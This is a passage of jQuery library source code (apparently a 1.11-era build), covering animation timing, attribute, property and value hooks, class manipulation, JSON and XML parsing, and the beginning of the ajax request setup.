4888 if (prepend) {
4889 animationPrefilters.unshift(callback)
4890 } else {
4891 animationPrefilters.push(callback)
4892 }
4893 }
4894 });
4895 jQuery.speed = function(speed, easing, fn) {
4896 var opt = speed && typeof speed === "object" ? jQuery.extend({}, speed) : {
4897 complete: fn || !fn && easing || jQuery.isFunction(speed) && speed,
4898 duration: speed,
4899 easing: fn && easing || easing && !jQuery.isFunction(easing) && easing
4900 };
4901 opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration : opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[opt.duration] : jQuery.fx.speeds._default;
4902 if (opt.queue == null || opt.queue === true) {
4903 opt.queue = "fx"
4904 }
4905 opt.old = opt.complete;
4906 opt.complete = function() {
4907 if (jQuery.isFunction(opt.old)) {
4908 opt.old.call(this)
4909 }
4910 if (opt.queue) {
4911 jQuery.dequeue(this, opt.queue)
4912 }
4913 };
4914 return opt
4915 };
4916 jQuery.fn.extend({
4917 fadeTo: function(speed, to, easing, callback) {
4918 return this.filter(isHidden).css("opacity", 0).show().end().animate({
4919 opacity: to
4920 }, speed, easing, callback)
4921 },
4922 animate: function(prop, speed, easing, callback) {
4923 var empty = jQuery.isEmptyObject(prop),
4924 optall = jQuery.speed(speed, easing, callback),
4925 doAnimation = function() {
4926 var anim = Animation(this, jQuery.extend({}, prop), optall);
4927 if (empty || jQuery._data(this, "finish")) {
4928 anim.stop(true)
4929 }
4930 };
4931 doAnimation.finish = doAnimation;
4932 return empty || optall.queue === false ? this.each(doAnimation) : this.queue(optall.queue, doAnimation)
4933 },
4934 stop: function(type, clearQueue, gotoEnd) {
4935 var stopQueue = function(hooks) {
4936 var stop = hooks.stop;
4937 delete hooks.stop;
4938 stop(gotoEnd)
4939 };
4940 if (typeof type !== "string") {
4941 gotoEnd = clearQueue;
4942 clearQueue = type;
4943 type = undefined
4944 }
4945 if (clearQueue && type !== false) {
4946 this.queue(type || "fx", [])
4947 }
4948 return this.each(function() {
4949 var dequeue = true,
4950 index = type != null && type + "queueHooks",
4951 timers = jQuery.timers,
4952 data = jQuery._data(this);
4953 if (index) {
4954 if (data[index] && data[index].stop) {
4955 stopQueue(data[index])
4956 }
4957 } else {
4958 for (index in data) {
4959 if (data[index] && data[index].stop && rrun.test(index)) {
4960 stopQueue(data[index])
4961 }
4962 }
4963 }
4964 for (index = timers.length; index--;) {
4965 if (timers[index].elem === this && (type == null || timers[index].queue === type)) {
4966 timers[index].anim.stop(gotoEnd);
4967 dequeue = false;
4968 timers.splice(index, 1)
4969 }
4970 }
4971 if (dequeue || !gotoEnd) {
4972 jQuery.dequeue(this, type)
4973 }
4974 })
4975 },
4976 finish: function(type) {
4977 if (type !== false) {
4978 type = type || "fx"
4979 }
4980 return this.each(function() {
4981 var index, data = jQuery._data(this),
4982 queue = data[type + "queue"],
4983 hooks = data[type + "queueHooks"],
4984 timers = jQuery.timers,
4985 length = queue ? queue.length : 0;
4986 data.finish = true;
4987 jQuery.queue(this, type, []);
4988 if (hooks && hooks.stop) {
4989 hooks.stop.call(this, true)
4990 }
4991 for (index = timers.length; index--;) {
4992 if (timers[index].elem === this && timers[index].queue === type) {
4993 timers[index].anim.stop(true);
4994 timers.splice(index, 1)
4995 }
4996 }
4997 for (index = 0; index < length; index++) {
4998 if (queue[index] && queue[index].finish) {
4999 queue[index].finish.call(this)
5000 }
5001 }
5002 delete data.finish
5003 })
5004 }
5005 });
5006 jQuery.each(["toggle", "show", "hide"], function(i, name) {
5007 var cssFn = jQuery.fn[name];
5008 jQuery.fn[name] = function(speed, easing, callback) {
5009 return speed == null || typeof speed === "boolean" ? cssFn.apply(this, arguments) : this.animate(genFx(name, true), speed, easing, callback)
5010 }
5011 });
5012 jQuery.each({
5013 slideDown: genFx("show"),
5014 slideUp: genFx("hide"),
5015 slideToggle: genFx("toggle"),
5016 fadeIn: {
5017 opacity: "show"
5018 },
5019 fadeOut: {
5020 opacity: "hide"
5021 },
5022 fadeToggle: {
5023 opacity: "toggle"
5024 }
5025 }, function(name, props) {
5026 jQuery.fn[name] = function(speed, easing, callback) {
5027 return this.animate(props, speed, easing, callback)
5028 }
5029 });
5030 jQuery.timers = [];
5031 jQuery.fx.tick = function() {
5032 var timer, timers = jQuery.timers,
5033 i = 0;
5034 fxNow = jQuery.now();
5035 for (; i < timers.length; i++) {
5036 timer = timers[i];
5037 if (!timer() && timers[i] === timer) {
5038 timers.splice(i--, 1)
5039 }
5040 }
5041 if (!timers.length) {
5042 jQuery.fx.stop()
5043 }
5044 fxNow = undefined
5045 };
5046 jQuery.fx.timer = function(timer) {
5047 jQuery.timers.push(timer);
5048 if (timer()) {
5049 jQuery.fx.start()
5050 } else {
5051 jQuery.timers.pop()
5052 }
5053 };
5054 jQuery.fx.interval = 13;
5055 jQuery.fx.start = function() {
5056 if (!timerId) {
5057 timerId = setInterval(jQuery.fx.tick, jQuery.fx.interval)
5058 }
5059 };
5060 jQuery.fx.stop = function() {
5061 clearInterval(timerId);
5062 timerId = null
5063 };
5064 jQuery.fx.speeds = {
5065 slow: 600,
5066 fast: 200,
5067 _default: 400
5068 };
5069 jQuery.fn.delay = function(time, type) {
5070 time = jQuery.fx ? jQuery.fx.speeds[time] || time : time;
5071 type = type || "fx";
5072 return this.queue(type, function(next, hooks) {
5073 var timeout = setTimeout(next, time);
5074 hooks.stop = function() {
5075 clearTimeout(timeout)
5076 }
5077 })
5078 };
5079 (function() {
5080 var input, div, select, a, opt;
5081 div = document.createElement("div");
5082 div.setAttribute("className", "t");
5083 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
5084 a = div.getElementsByTagName("a")[0];
5085 select = document.createElement("select");
5086 opt = select.appendChild(document.createElement("option"));
5087 input = div.getElementsByTagName("input")[0];
5088 a.style.cssText = "top:1px";
5089 support.getSetAttribute = div.className !== "t";
5090 support.style = /top/.test(a.getAttribute("style"));
5091 support.hrefNormalized = a.getAttribute("href") === "/a";
5092 support.checkOn = !!input.value;
5093 support.optSelected = opt.selected;
5094 support.enctype = !!document.createElement("form").enctype;
5095 select.disabled = true;
5096 support.optDisabled = !opt.disabled;
5097 input = document.createElement("input");
5098 input.setAttribute("value", "");
5099 support.input = input.getAttribute("value") === "";
5100 input.value = "t";
5101 input.setAttribute("type", "radio");
5102 support.radioValue = input.value === "t"
5103 })();
5104 var rreturn = /\r/g;
5105 jQuery.fn.extend({
5106 val: function(value) {
5107 var hooks, ret, isFunction, elem = this[0];
5108 if (!arguments.length) {
5109 if (elem) {
5110 hooks = jQuery.valHooks[elem.type] || jQuery.valHooks[elem.nodeName.toLowerCase()];
5111 if (hooks && "get" in hooks && (ret = hooks.get(elem, "value")) !== undefined) {
5112 return ret
5113 }
5114 ret = elem.value;
5115 return typeof ret === "string" ? ret.replace(rreturn, "") : ret == null ? "" : ret
5116 }
5117 return
5118 }
5119 isFunction = jQuery.isFunction(value);
5120 return this.each(function(i) {
5121 var val;
5122 if (this.nodeType !== 1) {
5123 return
5124 }
5125 if (isFunction) {
5126 val = value.call(this, i, jQuery(this).val())
5127 } else {
5128 val = value
5129 }
5130 if (val == null) {
5131 val = ""
5132 } else if (typeof val === "number") {
5133 val += ""
5134 } else if (jQuery.isArray(val)) {
5135 val = jQuery.map(val, function(value) {
5136 return value == null ? "" : value + ""
5137 })
5138 }
5139 hooks = jQuery.valHooks[this.type] || jQuery.valHooks[this.nodeName.toLowerCase()];
5140 if (!hooks || !("set" in hooks) || hooks.set(this, val, "value") === undefined) {
5141 this.value = val
5142 }
5143 })
5144 }
5145 });
5146 jQuery.extend({
5147 valHooks: {
5148 option: {
5149 get: function(elem) {
5150 var val = jQuery.find.attr(elem, "value");
5151 return val != null ? val : jQuery.trim(jQuery.text(elem))
5152 }
5153 },
5154 select: {
5155 get: function(elem) {
5156 var value, option, options = elem.options,
5157 index = elem.selectedIndex,
5158 one = elem.type === "select-one" || index < 0,
5159 values = one ? null : [],
5160 max = one ? index + 1 : options.length,
5161 i = index < 0 ? max : one ? index : 0;
5162 for (; i < max; i++) {
5163 option = options[i];
5164 if ((option.selected || i === index) && (support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null) && (!option.parentNode.disabled || !jQuery.nodeName(option.parentNode, "optgroup"))) {
5165 value = jQuery(option).val();
5166 if (one) {
5167 return value
5168 }
5169 values.push(value)
5170 }
5171 }
5172 return values
5173 },
5174 set: function(elem, value) {
5175 var optionSet, option, options = elem.options,
5176 values = jQuery.makeArray(value),
5177 i = options.length;
5178 while (i--) {
5179 option = options[i];
5180 if (jQuery.inArray(jQuery.valHooks.option.get(option), values) >= 0) {
5181 try {
5182 option.selected = optionSet = true
5183 } catch (_) {
5184 option.scrollHeight
5185 }
5186 } else {
5187 option.selected = false
5188 }
5189 }
5190 if (!optionSet) {
5191 elem.selectedIndex = -1
5192 }
5193 return options
5194 }
5195 }
5196 }
5197 });
5198 jQuery.each(["radio", "checkbox"], function() {
5199 jQuery.valHooks[this] = {
5200 set: function(elem, value) {
5201 if (jQuery.isArray(value)) {
5202 return (elem.checked = jQuery.inArray(jQuery(elem).val(), value) >= 0)
5203 }
5204 }
5205 };
5206 if (!support.checkOn) {
5207 jQuery.valHooks[this].get = function(elem) {
5208 return elem.getAttribute("value") === null ? "on" : elem.value
5209 }
5210 }
5211 });
5212 var nodeHook, boolHook, attrHandle = jQuery.expr.attrHandle,
5213 ruseDefault = /^(?:checked|selected)$/i,
5214 getSetAttribute = support.getSetAttribute,
5215 getSetInput = support.input;
5216 jQuery.fn.extend({
5217 attr: function(name, value) {
5218 return access(this, jQuery.attr, name, value, arguments.length > 1)
5219 },
5220 removeAttr: function(name) {
5221 return this.each(function() {
5222 jQuery.removeAttr(this, name)
5223 })
5224 }
5225 });
5226 jQuery.extend({
5227 attr: function(elem, name, value) {
5228 var hooks, ret, nType = elem.nodeType;
5229 if (!elem || nType === 3 || nType === 8 || nType === 2) {
5230 return
5231 }
5232 if (typeof elem.getAttribute === strundefined) {
5233 return jQuery.prop(elem, name, value)
5234 }
5235 if (nType !== 1 || !jQuery.isXMLDoc(elem)) {
5236 name = name.toLowerCase();
5237 hooks = jQuery.attrHooks[name] || (jQuery.expr.match.bool.test(name) ? boolHook : nodeHook)
5238 }
5239 if (value !== undefined) {
5240 if (value === null) {
5241 jQuery.removeAttr(elem, name)
5242 } else if (hooks && "set" in hooks && (ret = hooks.set(elem, value, name)) !== undefined) {
5243 return ret
5244 } else {
5245 elem.setAttribute(name, value + "");
5246 return value
5247 }
5248 } else if (hooks && "get" in hooks && (ret = hooks.get(elem, name)) !== null) {
5249 return ret
5250 } else {
5251 ret = jQuery.find.attr(elem, name);
5252 return ret == null ? undefined : ret
5253 }
5254 },
5255 removeAttr: function(elem, value) {
5256 var name, propName, i = 0,
5257 attrNames = value && value.match(rnotwhite);
5258 if (attrNames && elem.nodeType === 1) {
5259 while ((name = attrNames[i++])) {
5260 propName = jQuery.propFix[name] || name;
5261 if (jQuery.expr.match.bool.test(name)) {
5262 if (getSetInput && getSetAttribute || !ruseDefault.test(name)) {
5263 elem[propName] = false
5264 } else {
5265 elem[jQuery.camelCase("default-" + name)] = elem[propName] = false
5266 }
5267 } else {
5268 jQuery.attr(elem, name, "")
5269 }
5270 elem.removeAttribute(getSetAttribute ? name : propName)
5271 }
5272 }
5273 },
5274 attrHooks: {
5275 type: {
5276 set: function(elem, value) {
5277 if (!support.radioValue && value === "radio" && jQuery.nodeName(elem, "input")) {
5278 var val = elem.value;
5279 elem.setAttribute("type", value);
5280 if (val) {
5281 elem.value = val
5282 }
5283 return value
5284 }
5285 }
5286 }
5287 }
5288 });
5289 boolHook = {
5290 set: function(elem, value, name) {
5291 if (value === false) {
5292 jQuery.removeAttr(elem, name)
5293 } else if (getSetInput && getSetAttribute || !ruseDefault.test(name)) {
5294 elem.setAttribute(!getSetAttribute && jQuery.propFix[name] || name, name)
5295 } else {
5296 elem[jQuery.camelCase("default-" + name)] = elem[name] = true
5297 }
5298 return name
5299 }
5300 };
5301 jQuery.each(jQuery.expr.match.bool.source.match(/\w+/g), function(i, name) {
5302 var getter = attrHandle[name] || jQuery.find.attr;
5303 attrHandle[name] = getSetInput && getSetAttribute || !ruseDefault.test(name) ? function(elem, name, isXML) {
5304 var ret, handle;
5305 if (!isXML) {
5306 handle = attrHandle[name];
5307 attrHandle[name] = ret;
5308 ret = getter(elem, name, isXML) != null ? name.toLowerCase() : null;
5309 attrHandle[name] = handle
5310 }
5311 return ret
5312 } : function(elem, name, isXML) {
5313 if (!isXML) {
5314 return elem[jQuery.camelCase("default-" + name)] ? name.toLowerCase() : null
5315 }
5316 }
5317 });
5318 if (!getSetInput || !getSetAttribute) {
5319 jQuery.attrHooks.value = {
5320 set: function(elem, value, name) {
5321 if (jQuery.nodeName(elem, "input")) {
5322 elem.defaultValue = value
5323 } else {
5324 return nodeHook && nodeHook.set(elem, value, name)
5325 }
5326 }
5327 }
5328 }
5329 if (!getSetAttribute) {
5330 nodeHook = {
5331 set: function(elem, value, name) {
5332 var ret = elem.getAttributeNode(name);
5333 if (!ret) {
5334 elem.setAttributeNode((ret = elem.ownerDocument.createAttribute(name)))
5335 }
5336 ret.value = value += "";
5337 if (name === "value" || value === elem.getAttribute(name)) {
5338 return value
5339 }
5340 }
5341 };
5342 attrHandle.id = attrHandle.name = attrHandle.coords = function(elem, name, isXML) {
5343 var ret;
5344 if (!isXML) {
5345 return (ret = elem.getAttributeNode(name)) && ret.value !== "" ? ret.value : null
5346 }
5347 };
5348 jQuery.valHooks.button = {
5349 get: function(elem, name) {
5350 var ret = elem.getAttributeNode(name);
5351 if (ret && ret.specified) {
5352 return ret.value
5353 }
5354 },
5355 set: nodeHook.set
5356 };
5357 jQuery.attrHooks.contenteditable = {
5358 set: function(elem, value, name) {
5359 nodeHook.set(elem, value === "" ? false : value, name)
5360 }
5361 };
5362 jQuery.each(["width", "height"], function(i, name) {
5363 jQuery.attrHooks[name] = {
5364 set: function(elem, value) {
5365 if (value === "") {
5366 elem.setAttribute(name, "auto");
5367 return value
5368 }
5369 }
5370 }
5371 })
5372 }
5373 if (!support.style) {
5374 jQuery.attrHooks.style = {
5375 get: function(elem) {
5376 return elem.style.cssText || undefined
5377 },
5378 set: function(elem, value) {
5379 return (elem.style.cssText = value + "")
5380 }
5381 }
5382 }
5383 var rfocusable = /^(?:input|select|textarea|button|object)$/i,
5384 rclickable = /^(?:a|area)$/i;
5385 jQuery.fn.extend({
5386 prop: function(name, value) {
5387 return access(this, jQuery.prop, name, value, arguments.length > 1)
5388 },
5389 removeProp: function(name) {
5390 name = jQuery.propFix[name] || name;
5391 return this.each(function() {
5392 try {
5393 this[name] = undefined;
5394 delete this[name]
5395 } catch (e) {}
5396 })
5397 }
5398 });
5399 jQuery.extend({
5400 propFix: {
5401 "for": "htmlFor",
5402 "class": "className"
5403 },
5404 prop: function(elem, name, value) {
5405 var ret, hooks, notxml, nType = elem.nodeType;
5406 if (!elem || nType === 3 || nType === 8 || nType === 2) {
5407 return
5408 }
5409 notxml = nType !== 1 || !jQuery.isXMLDoc(elem);
5410 if (notxml) {
5411 name = jQuery.propFix[name] || name;
5412 hooks = jQuery.propHooks[name]
5413 }
5414 if (value !== undefined) {
5415 return hooks && "set" in hooks && (ret = hooks.set(elem, value, name)) !== undefined ? ret : (elem[name] = value)
5416 } else {
5417 return hooks && "get" in hooks && (ret = hooks.get(elem, name)) !== null ? ret : elem[name]
5418 }
5419 },
5420 propHooks: {
5421 tabIndex: {
5422 get: function(elem) {
5423 var tabindex = jQuery.find.attr(elem, "tabindex");
5424 return tabindex ? parseInt(tabindex, 10) : rfocusable.test(elem.nodeName) || rclickable.test(elem.nodeName) && elem.href ? 0 : -1
5425 }
5426 }
5427 }
5428 });
5429 if (!support.hrefNormalized) {
5430 jQuery.each(["href", "src"], function(i, name) {
5431 jQuery.propHooks[name] = {
5432 get: function(elem) {
5433 return elem.getAttribute(name, 4)
5434 }
5435 }
5436 })
5437 }
5438 if (!support.optSelected) {
5439 jQuery.propHooks.selected = {
5440 get: function(elem) {
5441 var parent = elem.parentNode;
5442 if (parent) {
5443 parent.selectedIndex;
5444 if (parent.parentNode) {
5445 parent.parentNode.selectedIndex
5446 }
5447 }
5448 return null
5449 }
5450 }
5451 }
5452 jQuery.each(["tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable"], function() {
5453 jQuery.propFix[this.toLowerCase()] = this
5454 });
5455 if (!support.enctype) {
5456 jQuery.propFix.enctype = "encoding"
5457 }
5458 var rclass = /[\t\r\n\f]/g;
5459 jQuery.fn.extend({
5460 addClass: function(value) {
5461 var classes, elem, cur, clazz, j, finalValue, i = 0,
5462 len = this.length,
5463 proceed = typeof value === "string" && value;
5464 if (jQuery.isFunction(value)) {
5465 return this.each(function(j) {
5466 jQuery(this).addClass(value.call(this, j, this.className))
5467 })
5468 }
5469 if (proceed) {
5470 classes = (value || "").match(rnotwhite) || [];
5471 for (; i < len; i++) {
5472 elem = this[i];
5473 cur = elem.nodeType === 1 && (elem.className ? (" " + elem.className + " ").replace(rclass, " ") : " ");
5474 if (cur) {
5475 j = 0;
5476 while ((clazz = classes[j++])) {
5477 if (cur.indexOf(" " + clazz + " ") < 0) {
5478 cur += clazz + " "
5479 }
5480 }
5481 finalValue = jQuery.trim(cur);
5482 if (elem.className !== finalValue) {
5483 elem.className = finalValue
5484 }
5485 }
5486 }
5487 }
5488 return this
5489 },
5490 removeClass: function(value) {
5491 var classes, elem, cur, clazz, j, finalValue, i = 0,
5492 len = this.length,
5493 proceed = arguments.length === 0 || typeof value === "string" && value;
5494 if (jQuery.isFunction(value)) {
5495 return this.each(function(j) {
5496 jQuery(this).removeClass(value.call(this, j, this.className))
5497 })
5498 }
5499 if (proceed) {
5500 classes = (value || "").match(rnotwhite) || [];
5501 for (; i < len; i++) {
5502 elem = this[i];
5503 cur = elem.nodeType === 1 && (elem.className ? (" " + elem.className + " ").replace(rclass, " ") : "");
5504 if (cur) {
5505 j = 0;
5506 while ((clazz = classes[j++])) {
5507 while (cur.indexOf(" " + clazz + " ") >= 0) {
5508 cur = cur.replace(" " + clazz + " ", " ")
5509 }
5510 }
5511 finalValue = value ? jQuery.trim(cur) : "";
5512 if (elem.className !== finalValue) {
5513 elem.className = finalValue
5514 }
5515 }
5516 }
5517 }
5518 return this
5519 },
5520 toggleClass: function(value, stateVal) {
5521 var type = typeof value;
5522 if (typeof stateVal === "boolean" && type === "string") {
5523 return stateVal ? this.addClass(value) : this.removeClass(value)
5524 }
5525 if (jQuery.isFunction(value)) {
5526 return this.each(function(i) {
5527 jQuery(this).toggleClass(value.call(this, i, this.className, stateVal), stateVal)
5528 })
5529 }
5530 return this.each(function() {
5531 if (type === "string") {
5532 var className, i = 0,
5533 self = jQuery(this),
5534 classNames = value.match(rnotwhite) || [];
5535 while ((className = classNames[i++])) {
5536 if (self.hasClass(className)) {
5537 self.removeClass(className)
5538 } else {
5539 self.addClass(className)
5540 }
5541 }
5542 } else if (type === strundefined || type === "boolean") {
5543 if (this.className) {
5544 jQuery._data(this, "__className__", this.className)
5545 }
5546 this.className = this.className || value === false ? "" : jQuery._data(this, "__className__") || ""
5547 }
5548 })
5549 },
5550 hasClass: function(selector) {
5551 var className = " " + selector + " ",
5552 i = 0,
5553 l = this.length;
5554 for (; i < l; i++) {
5555 if (this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf(className) >= 0) {
5556 return true
5557 }
5558 }
5559 return false
5560 }
5561 });
5562 jQuery.each(("blur focus focusin focusout load resize scroll unload click dblclick " + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + "change select submit keydown keypress keyup error contextmenu").split(" "), function(i, name) {
5563 jQuery.fn[name] = function(data, fn) {
5564 return arguments.length > 0 ? this.on(name, null, data, fn) : this.trigger(name)
5565 }
5566 });
5567 jQuery.fn.extend({
5568 hover: function(fnOver, fnOut) {
5569 return this.mouseenter(fnOver).mouseleave(fnOut || fnOver)
5570 },
5571 bind: function(types, data, fn) {
5572 return this.on(types, null, data, fn)
5573 },
5574 unbind: function(types, fn) {
5575 return this.off(types, null, fn)
5576 },
5577 delegate: function(selector, types, data, fn) {
5578 return this.on(types, selector, data, fn)
5579 },
5580 undelegate: function(selector, types, fn) {
5581 return arguments.length === 1 ? this.off(selector, "**") : this.off(types, selector || "**", fn)
5582 }
5583 });
5584 var nonce = jQuery.now();
5585 var rquery = (/\?/);
5586 var rvalidtokens = /(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;
5587 jQuery.parseJSON = function(data) {
5588 if (window.JSON && window.JSON.parse) {
5589 return window.JSON.parse(data + "")
5590 }
5591 var requireNonComma, depth = null,
5592 str = jQuery.trim(data + "");
5593 return str && !jQuery.trim(str.replace(rvalidtokens, function(token, comma, open, close) {
5594 if (requireNonComma && comma) {
5595 depth = 0
5596 }
5597 if (depth === 0) {
5598 return token
5599 }
5600 requireNonComma = open || comma;
5601 depth += !close - !open;
5602 return ""
5603 })) ? (Function("return " + str))() : jQuery.error("Invalid JSON: " + data)
5604 };
5605 jQuery.parseXML = function(data) {
5606 var xml, tmp;
5607 if (!data || typeof data !== "string") {
5608 return null
5609 }
5610 try {
5611 if (window.DOMParser) {
5612 tmp = new DOMParser();
5613 xml = tmp.parseFromString(data, "text/xml")
5614 } else {
5615 xml = new ActiveXObject("Microsoft.XMLDOM");
5616 xml.async = "false";
5617 xml.loadXML(data)
5618 }
5619 } catch (e) {
5620 xml = undefined
5621 }
5622 if (!xml || !xml.documentElement || xml.getElementsByTagName("parsererror").length) {
5623 jQuery.error("Invalid XML: " + data)
5624 }
5625 return xml
5626 };
5627 var ajaxLocParts, ajaxLocation, rhash = /#.*$/,
5628 rts = /([?&])_=[^&]*/,
5629 rheaders = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg,
5630 rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
5631 rnoContent = /^(?:GET|HEAD)$/,
5632 rprotocol = /^\/\//,
5633 rurl = /^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,
5634 prefilters = {},
5635 transports = {},
5636 allTypes = "*/".concat("*");
5637 try {
5638 ajaxLocation = location.href
5639 } catch (e) {
5640 ajaxLocation = document.createElement("a");
5641 ajaxLocation.href = "";
5642 ajaxLocation = ajaxLocation.href
5643 }
5644 ajaxLocParts = rurl.exec(ajaxLocation.toLowerCase()) || [];
5645
5646 function addToPrefiltersOrTransports(structure) {
5647 return function(dataTypeExpression, func) {
5648 if (typeof dataTypeExpression !== "string") {
5649 func = dataTypeExpression;
5650 dataTypeExpression = "*"
5651 }
5652 var dataType, i = 0,
5653 dataTypes = dataTypeExpression.toLowerCase().match(rnotwhite) || [];
5654 if (jQuery.isFunction(func)) {
5655 while ((dataType = dataTypes[i++])) {
5656 if (dataType.charAt(0) === "+") {
5657 dataType = dataType.slice(1) || "*";
5658 (structure[dataType] = structure[dataType] || []).unshift(func)
5659 } else {
5660 (structure[dataType] = structure[dataType] || []).push(func)
5661 }
5662 }
5663 }
5664 }
5665 }
5666
5667 function inspectPrefiltersOrTransports(structure, options, originalOptions, jqXHR) {
5668 var inspected = {},
5669 seekingTransport = (structure === transports);
5670
5671 function inspect(dataType) {
5672 var selected;
5673 inspected[dataType] = true;
5674 jQuery.each(structure[dataType] || [], function(_, prefilterOrFactory) {
5675 var dataTypeOrTransport = prefilterOrFactory(options, originalOptions, jqXHR);
5676 if (typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[dataTypeOrTransport]) {
5677 options.dataTypes.unshift(dataTypeOrTransport);
5678 inspect(dataTypeOrTransport);
5679 return false
5680 } else if (seekingTransport) {
5681 return !(selected = dataTypeOrTransport)
5682 }
5683 });
5684 return selected
5685 }
5686 return inspect(options.dataTypes[0]) || !inspected["*"] && inspect("*")
5687 }
5688
5689 function ajaxExtend(target, src) {
5690 var deep, key, flatOptions = jQuery.ajaxSettings.flatOptions || {};
5691 for (key in src) {
5692 if (src[key] !== undefined) {
5693 (flatOptions[key] ? target : (deep || (deep = {})))[key] = src[key]
5694 }
5695 }
5696 if (deep) {
5697 jQuery.extend(true, target, deep)
5698 }
5699 return target
5700 }
5701
5702 function ajaxHandleResponses(s, jqXHR, responses) {
5703 var firstDataType, ct, finalDataType, type, contents = s.contents,
5704 dataTypes = s.dataTypes;
5705 while (dataTypes[0] === "*") {
5706 dataTypes.shift();
5707 if (ct === undefined) {
5708 ct = s.mimeType || jqXHR.getResponseHeader("Content-Type")
5709 }
5710 }
5711 if (ct) {
5712 for (type in contents) {
5713 if (contents[type] && contents[type].test(ct)) {
5714 dataTypes.unshift(type);
5715 break
5716 }
5717 }
5718 }
5719 if (dataTypes[0] in responses) {
5720 finalDataType = dataTypes[0]
5721 } else {
5722 for (type in responses) {
5723 if (!dataTypes[0] || s.converters[type + " " + dataTypes[0]]) {
5724 finalDataType = type;
5725 break
5726 }
5727 if (!firstDataType) {
5728 firstDataType = type
5729 }
5730 }
5731 finalDataType = finalDataType || firstDataType
5732 }
5733 if (finalDataType) {
5734 if (finalDataType !== dataTypes[0]) {
5735 dataTypes.unshift(finalDataType)
5736 }
5737 return responses[finalDataType]
5738 }
5739 }
5740
5741 function ajaxConvert(s, response, jqXHR, isSuccess) {
5742 var conv2, current, conv, tmp, prev, converters = {},
5743 dataTypes = s.dataTypes.slice();
5744 if (dataTypes[1]) {
5745 for (conv in s.converters) {
5746 converters[conv.toLowerCase()] = s.converters[conv]
5747 }
5748 }
5749 current = dataTypes.shift();
5750 while (current) {
5751 if (s.responseFields[current]) {
5752 jqXHR[s.responseFields[current]] = response
5753 }
5754 if (!prev && isSuccess && s.dataFilter) {
5755 response = s.dataFilter(response, s.dataType)
5756 }
5757 prev = current;
5758 current = dataTypes.shift();
5759 if (current) {
5760 if (current === "*") {
5761 current = prev
5762 } else if (prev !== "*" && prev !== current) {
5763 conv = converters[prev + " " + current] || converters["* " + current];
5764 if (!conv) {
5765 for (conv2 in converters) {
5766 tmp = conv2.split(" ");
5767 if (tmp[1] === current) {
5768 conv = converters[prev + " " + tmp[0]] || converters["* " + tmp[0]];
5769 if (conv) {
5770 if (conv === true) {
5771 conv = converters[conv2]
5772 } else if (converters[conv2] !== true) {
5773 current = tmp[0];
5774 dataTypes.unshift(tmp[1])
5775 }
5776 break
5777 }
5778 }
5779 }
5780 }
5781 if (conv !== true) {
5782 if (conv && s["throws"]) {
5783 response = conv(response)
5784 } else {
5785 try {
5786 response = conv(response)
5787 } catch (e) {
5788 return {
5789 state: "parsererror",
5790 error: conv ? e : "No conversion from " + prev + " to " + current
5791 }
5792 }
5793 }
5794 }
5795 }
5796 }
5797 }
5798 return {
5799 state: "success",
5800 data: response
5801 }
5802 }
5803 jQuery.extend({
5804 active: 0,
5805 lastModified: {},
5806 etag: {},
5807 ajaxSettings: {
5808 url: ajaxLocation,
5809 type: "GET",
5810 isLocal: rlocalProtocol.test(ajaxLocParts[1]),
5811 global: true,
5812 processData: true,
5813 async: true,
5814 contentType: "application/x-www-form-urlencoded; charset=UTF-8",
5815 accepts: {
5816 "*": allTypes,
5817 text: "text/plain",
5818 html: "text/html",
5819 xml: "application/xml, text/xml",
5820 json: "application/json, text/javascript"
5821 },
5822 contents: {
5823 xml: /xml/,
5824 html: /html/,
5825 json: /json/
5826 },
5827 responseFields: {
5828 xml: "responseXML",
5829 text: "responseText",
5830 json: "responseJSON"
5831 },
5832 converters: {
5833 "* text": String,
5834 "text html": true,
5835 "text json": jQuery.parseJSON,
5836 "text xml": jQuery.parseXML
5837 },
5838 flatOptions: {
5839 url: true,
5840 context: true
5841 }
5842 },
5843 ajaxSetup: function(target, settings) {
5844 return settings ? ajaxExtend(ajaxExtend(target, jQuery.ajaxSettings), settings) : ajaxExtend(jQuery.ajaxSettings, target)
5845 },
5846 ajaxPrefilter: addToPrefiltersOrTransports(prefilters),
5847 ajaxTransport: addToPrefiltersOrTransports(transports),
5848 ajax: function(url, options) {
5849 if (typeof url === "object") {
5850 options = url;
5851 url = undefined
5852 }
5853 options = options || {};
5854 var parts, i, cacheURL, responseHeadersString, timeoutTimer, fireGlobals, transport, responseHeaders, s = jQuery.ajaxSetup({}, options),
5855 callbackContext = s.context || s,
5856 globalEventContext = s.context && (callbackContext.nodeType || callbackContext.jquery) ? jQuery(callbackContext) : jQuery.event,
5857 deferred = jQuery.Deferred(),
5858 completeDeferred = jQuery.Callbacks("once memory"),
5859 statusCode = s.statusCode || {},
5860 requestHeaders = {},
5861 requestHeadersNames = {},
5862 state = 0,
5863 strAbort = "canceled",
5864 jqXHR = {
5865 readyState: 0,
5866 getResponseHeader: function(key) {
5867 var match;
5868 if (state === 2) {
5869 if (!responseHeaders) {
5870 responseHeaders = {};
5871 while ((match = rheaders.exec(responseHeadersString))) {
5872 responseHeaders[match[1].toLowerCase()] = match[2]
5873 }
5874 }
5875 match = responseHeaders[key.toLowerCase()]
5876 }
5877 return match == null ? null : match
5878 },
5879 getAllResponseHeaders: function() {
5880 return state === 2 ? responseHeadersString : null
5881 },
5882 setRequestHeader: function(name, value) {
5883 var lname = name.toLowerCase();
5884 if (!state) {
5885 name = requestHeadersNames[lname] = requestHeadersNames[lname] || name;
5886 requestHeaders[name] = value
5887 }
5888 return this
5889 },
5890 overrideMimeType: function(type) {
5891 if (!state) {
5892 s.mimeType = type
5893 }
5894 return this
5895 },
